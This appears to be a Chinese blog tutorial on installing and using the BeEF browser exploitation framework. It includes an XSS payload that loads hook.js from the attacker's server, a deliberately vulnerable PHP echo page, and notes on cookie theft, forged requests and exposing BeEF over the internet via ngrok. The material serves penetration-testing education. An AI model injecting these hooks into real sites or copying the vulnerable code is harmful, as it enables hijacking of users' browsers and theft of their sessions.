BEEF的搭建与使用

安装与搭建

beef是ruby写的,在windows下安装beef还是有些麻烦的,需要装很多东西。
源码在github googlecode等地方均有下载
http://code.google.com/p/beef/downloads/list
https://github.com/beefproject/beef
在windows下配置ruby,推荐大家使用railsinstaller这个东西,各种环境一键安装,提醒一下这里ruby要求1.9以及以上版本。
http://railsinstaller.org/
另外还需要SQLite.dll这个下载之后放到ruby的bin目录下
http://www.sqlite.org/download.html
之后只要跑到源代码目录下,运行
bundle install
ruby beef
出现这种东西说明成功了,端口以及各种配置在config.yaml中配置
C:\beef\beef-master>ruby beef
[16:06:09][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[16:06:09][*] Browser Exploitation Framework (BeEF) 0.4.4.7-alpha
[16:06:09]    |   Twit: @beefproject
[16:06:09]    |   Site: http://beefproject.com
[16:06:09]    |   Blog: http://blog.beefproject.com
[16:06:09]    |_  Wiki: https://github.com/beefproject/beef/wiki
[16:06:09][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[16:06:11][*] BeEF is loading. Wait a few seconds...
[16:06:20][*] 10 extensions enabled.
[16:06:20][*] 180 modules enabled.
[16:06:20][*] 2 network interfaces were detected.
[16:06:20][+] running on network interface: 192.168.0.102
[16:06:20]    |   Hook URL: http://192.168.0.102:3000/hook.js
[16:06:20]    |_  UI URL:   http://192.168.0.102:3000/ui/panel
[16:06:20][+] running on network interface: 127.0.0.1
[16:06:20]    |   Hook URL: http://127.0.0.1:3000/hook.js
[16:06:20]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[16:06:20][*] RESTful API key: 33c15454ae8fb24723c90311e064035b48f841d2
[16:06:20][*] HTTP Proxy: http://127.0.0.1:6789
[16:06:20][*] BeEF server started (press control+c to stop)

安装完成后,访问以下URL就可以看到登陆界面了,默认用户名密码beef beef
http://localhost:3000/ui/panel

基本功能与使用

官方提供了一个简单的例子
http://127.0.0.1:3000/demos/basic.html
里面这一句,导入了网站根目录下的hook.js,
<head>
	<title>BeEF Basic Demo</title>
	<script>
		var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
		document.write(commandModuleStr);
	</script>
</head>
访问这个URL之后发现自己上线了。

Details

里面会给出上线主机的一些详细信息,其中包含cookie,支持插件,浏览器类型,系统版本等。
 Display information about the hooked browser after you've run some command modules.

Logs 

记载了上线主机的动作,仅限于lost focus   regained focus    online   offline这种。
Displays recent log entries related to this particular hooked browser.

Command

里面模块很多,很厉害的样子,其中模块是否可以使用参照这里
Each command module has a traffic light icon, which is used to indicate the following:
  •  The command module works against the target and should be invisible to the user
  •  The command module works against the target, but may be visible to the user
  •  The command module is yet to be verified against this target
  •  The command module does not work against this target

 XSSRays

不知道是做什么的,貌似鸡肋。
XssRays allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS. To customize default settings of an XssRays scan, please use the XssRays tab.

Rider

可以使用被HOOK的BOWSER伪造请求。
The Rider tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser. Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.


### BeEF XSS Framework 使用指南 #### 什么是BeEFBeEF(Browser Exploitation Framework)是一个用于浏览器渗透测试的工具框架。它允许安全研究人员分析和演示浏览器作为攻击媒介的风险。通过注入恶意JavaScript代码,BeEF可以控制受害者的浏览器会话,并执行多种攻击向量。 #### 安装BeEF 要安装BeEF,可以通过以下命令完成: ```bash git clone https://github.com/beefproject/beef.git cd beef bundle install ``` 运行BeEF服务时,使用如下命令: ```bash ruby beef.rb ``` 默认情况下,BeEF会在`http://localhost:3000/ui/panel`上启动管理界面,默认用户名和密码均为`beef`[^4]。 #### 配置BeEF Hook Script 为了利用BeEF的功能,需要将目标用户的浏览器连接到BeEF服务器。这通常通过在存在XSS漏洞的目标网站中嵌入`hook.js`脚本来实现。例如,在反射型或存储型XSS场景下,可以插入以下HTML代码片段: ```html <script src="http://<your_beef_server_ip>:3000/hook.js"></script> ``` 这里的`<your_beef_server_ip>`应替换为实际部署BeEF的IP地址。 #### 测试环境搭建 假设已经有一个本地PHP文件`xss.php`,其中包含简单的反射型XSS漏洞。以下是可能的内容示例: ```php <?php echo $_GET['input']; ?> ``` 访问URL `http://127.0.0.1/engineer/xss.php?input=<script%20src="http://<your_beef_server_ip>:3000/hook.js"></script>` 将触发BeEF钩子脚本加载[^3]。 #### 利用BeEF进行渗透测试 一旦受害者浏览了含有上述脚本的页面,他们的浏览器会被标记为“在线”,并显示在BeEF控制面板中的模块列表里。此时可以选择不同的攻击模块来评估潜在风险,比如收集系统信息、窃取Cookie或者模拟键盘输入等操作。 #### 跨网络使用BeEF (BeeF-Over-Wan) 对于希望在外网环境下开展测试的情况,推荐采用类似Ngrok这样的反向代理解决方案。具体做法涉及设置隧道并将外部流量导向内部BeEF实例。有关更详细的指导,请参阅专门文档[BeeF-Over-Wan](https://github.com/snoopysecurity/beef-over-wan)[^5]。 ---
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值